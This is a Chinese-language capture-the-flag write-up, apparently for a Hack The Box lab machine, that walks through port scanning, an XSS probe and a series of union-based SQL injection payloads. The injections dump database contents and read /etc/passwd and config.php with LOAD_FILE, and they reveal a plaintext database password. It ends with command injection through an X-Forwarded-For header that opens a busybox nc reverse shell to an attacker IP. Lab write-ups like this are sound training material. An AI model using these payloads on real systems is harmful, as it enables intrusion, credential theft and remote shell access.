端口扫描
nmap -sC -sV -p- -T4 -Pn -n 10.10.11.128

访问80端口

输入
<script>alert(1)</script>

存在xss漏洞,再看看
测试是否有sql注入

拦截进行sqlmap测试,但是没有拿到有用信息
我们重新回到页面进行测试,


发现页面不同
1'+union+select+user()+--+-

SQL注入成功
枚举版本
1’+union+select+@@version±-±

列出数据库
1' union select schema_name from INFORMATION_SCHEMA.SCHEMATA LIMIT 0, 1;-- -
因为页面限制只能显示一个数据,可以使用LIMIT查看数据库

发现november数据库,然后尝试列出表
1’ union select TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema=‘november’ limit 0,1-- -
发现有flag、players表
然后查询列名
1’ UNION select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name=‘flag’ limit 0,1-- -
发现只有一个列是one
1’ UNION select one from november.flag limit 0,1-- -

得到一个flag,UHC{F1rst_5tep_2_Qualify}

输入flag

可以ssh登陆
1’ UNION select player from november.players limit 0,1-- -
可以查看player列表,
然后查询用户
1’ UNION select user()-- -
发现是uhc@localhost
查询用户的权限,是否具备超级管理员权限
1’ UNION select super_priv FROM mysql.user WHERE user=“root”-- -

结果是Y,表示超级用户权限
1’ UNION select LOAD_FILE(‘/etc/passwd’)-- -


成功加载本地文件,看见有htb和uhc用户,
尝试查看网页源代码
1’ UNION select LOAD_FILE(‘/var/www/html/index.php’)-- -

1’ UNION select LOAD_FILE(‘/var/www/html/config.php’)-- -

发现密码
$servername = “127.0.0.1”;
$username = “uhc”;
$password = “uhc-11qual-global-pw”;
$dbname = “november”;
尝试ssh登陆

尝试提权,上传linpeas.sh枚举

查看firewall.php文件
发现是通过设置HTTP_X_FORWARDED_FOR头,进行sudo /usr/sbin/iptables操作,因为我们可以控制$ip变量
payload:自己命令注入绕过
X-FORWARDED-FOR: ;id;

X-FORWARDED-FOR: ;busybox nc 10.10.14.20 443 -e /bin/sh;

拿到一个shell

成功提权